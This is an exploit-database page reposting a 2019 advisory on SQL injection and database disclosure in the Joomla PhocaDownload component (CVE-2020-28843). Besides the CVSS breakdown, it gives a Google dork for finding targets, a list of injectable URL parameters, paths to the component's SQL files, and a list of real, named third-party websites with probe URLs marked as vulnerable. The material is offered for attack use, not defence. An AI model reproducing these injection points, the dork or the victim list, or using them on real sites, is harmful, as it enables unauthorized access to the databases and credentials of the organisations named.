Exploitalert - Database of Exploits

Joomla PhocaDownload Components 3.1.7 SQL Injection / Database Disclosure

CVE	Category	Price	Severity
CVE-2020-28843	CWE-89	$500	Critical

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2019-02-04

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2019020036

Joomla PhocaDownload Components 3.1.7 SQL Injection / Database Disclosure

#################################################################### # Exploit Title : Joomla PhocaDownload Components 3.1.7 SQL Injection / Database Disclosure # Author [ Discovered By ] : KingSkrupellos # Team : Cyberizm Digital Security Army # Date : 04/02/2019 # Vendor Homepage : phoca.cz # Software Download Links : phoca.cz/download/category/4-phoca-download-component github.com/PhocaCz/PhocaDownload/releases/download/3.1.7/com_phocadownload_v3.1.7.zip github.com/PhocaCz/PhocaDownload/releases/download/2.1.9/com_phocadownload_v2.1.9.zip github.com/PhocaCz/PhocaDownload/releases/download/1.3.9/com_phocadownload_v1.3.9.zip # Software Information Link : extensions.joomla.org/extension/phoca-download/ # Software Versions : 1.3.9, 2.1.9, 3.1.5, 3.1.7 # Tested On : Windows and Linux # Category : WebApps # Exploit Risk : Medium # Google Dorks : inurl:''/index.php?option=com_phocadownload'' intext:Powered by Phoca Download # Vulnerability Type : CWE-89 [ Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') ] # PacketStormSecurity : packetstormsecurity.com/files/authors/13968 # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/ # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos #################################################################### # Description about Software : *************************** Phoca Download is download manager for Joomla! CMS. It includes component, modules and plugins and allows displaying files on website which can be downloaded (previewed, played) by website visitiors. Downloaded files are listed in Statistics View (administration). #################################################################### # Impact : *********** Joomla PhocaDownload 3.1.7 component for Joomla and other previous versions is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. A remote attacker can send a specially crafted request to the vulnerable application and execute arbitrary SQL commands in application`s database. Further exploitation of this vulnerability may result in unauthorized data manipulation. An attacker can exploit this issue using a browser. * This Software prone to an information exposure/database disclosure vulnerability. Successful exploits of this issue may allow an attacker to obtain sensitive information by downloading the full contents of the application's database. * Any remote user may download the database files and gain access to sensitive information including unencrypted authentication credentials. #################################################################### # SQL Injection Exploit : ********************** /index.php?option=com_phocadownload&view=category&id=[SQL Injection] /index.php?option=com_phocadownload&view=category&download=[SQL Injection] /index.php?option=com_phocadownload&view=categories&Itemid=[SQL Injection] /index.php?option=com_phocadownload&view=sections&Itemid=[SQL Injection] /index.php?option=com_phocadownload&view=category&id=[ID-NUMBER]&Itemid=[SQL Injection] /index.php?option=com_phocadownload&view=category&id=[ID-NUMBER]:[FOLDER-NAME]&Itemid=[SQL Injection] /index.php?option=com_phocadownload&view=category&id=[ID-NUMBER]::[FOLDER-NAME]&download=[ID-NUMBER]::[FOLDER-NAME]&[ID-NUMBER]&start=[ID-NUMBER]&Itemid=[SQL Injection] /index.php?option=com_phocadownload&view=category&download=[ID-NUMBER]:[FOLDER-NAME]&id=[ID-NUMBER]:[FOLDER-NAME]&Itemid=[SQL Injection] # Database Disclosure Exploit : **************************** /administrator/components/com_phocadownload/install/sql/mysql/....... /administrator/components/com_phocadownload/install.sql /administrator/components/com_phocadownload/uninstall.sql #################################################################### # Example Vulnerable Sites : ************************* [+] traumhaftes-wandermaerchen.de/index.php?option= com_phocadownload&view=category&download= 7:oberlinspher-weg&id=1:gps-tracks&Itemid=12%27 [+] medic.usm.my/kkkk/index.php?option= com_phocadownload&view=category&download= 1:borang-tempahan-pinjaman-perabot-pokok-hiasan &id=1:forms&Itemid=257%27 [+] paroki-blokb.org/index.php?option= com_phocadownload&view= category&id=4:formulir-lain-lain&Itemid=155%27 [+] emanuelecardi.it/WEB/index.php?option= com_phocadownload&view=categories&Itemid=147%27 [+] skisiklos.hu/index.php?option= com_phocadownload&view=category&id=13 [+] dch.hu/hu/?option= com_phocadownload&view=category&id=1:rlistk&Itemid=1%27 [+] onfartigianatocalabria.it/index.php?option= com_phocadownload&view=category&id=3&Itemid=117%27 [+] seport.com.br/index.php?option= com_phocadownload&view=category&id=2:resolues &download=43:resoluo-n-11&start=20&Itemid=37%27 [+] anticapievediverdeto.it/joomla/index.php?option= com_phocadownload&view=sections&Itemid=72%27 [+] ampelos.org/ampelos.org/index.php?option= com_phocadownload&view=category&id= 1%3Adocumenti-generici&download= 8%3Araccolta-tappi-bra&Itemid=55%27 [+] ftdlotgenoten.nl/site/index.php?option= com_phocadownload&view=category&download= 4:ftd-nieuwsflits-5&id=1%27 [+] polechatenay.lifb.org/index.php?option= com_phocadownload&view=category&id=1:interclubs &download=1893:lifb1819crireglementv1a03sanctions&Itemid=26%27 [+] vestex.com.gt/old/index.php?option= com_phocadownload&view=category&id= 17:rse&Itemid=250%27 [+] zcdt.org.zw/index.php?option= com_phocadownload&view=category&download= 2:weekly-exercise&id=1:downloads&Itemid=23%27 [+] zcdt.org.zw/administrator/components /com_phocadownload/uninstall.sql [+] ipesp.ac.th/web-stu/index.php?option= com_phocadownload&view=category&download= 10:7&id=1%27 #################################################################### # Example SQL Database Error : **************************** Strict Standards: Only variables should be assigned by reference in /home/eijpju/public_html/components/com_phocadownload /views/category/view.html.php on line 29 #################################################################### # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ####################################################################

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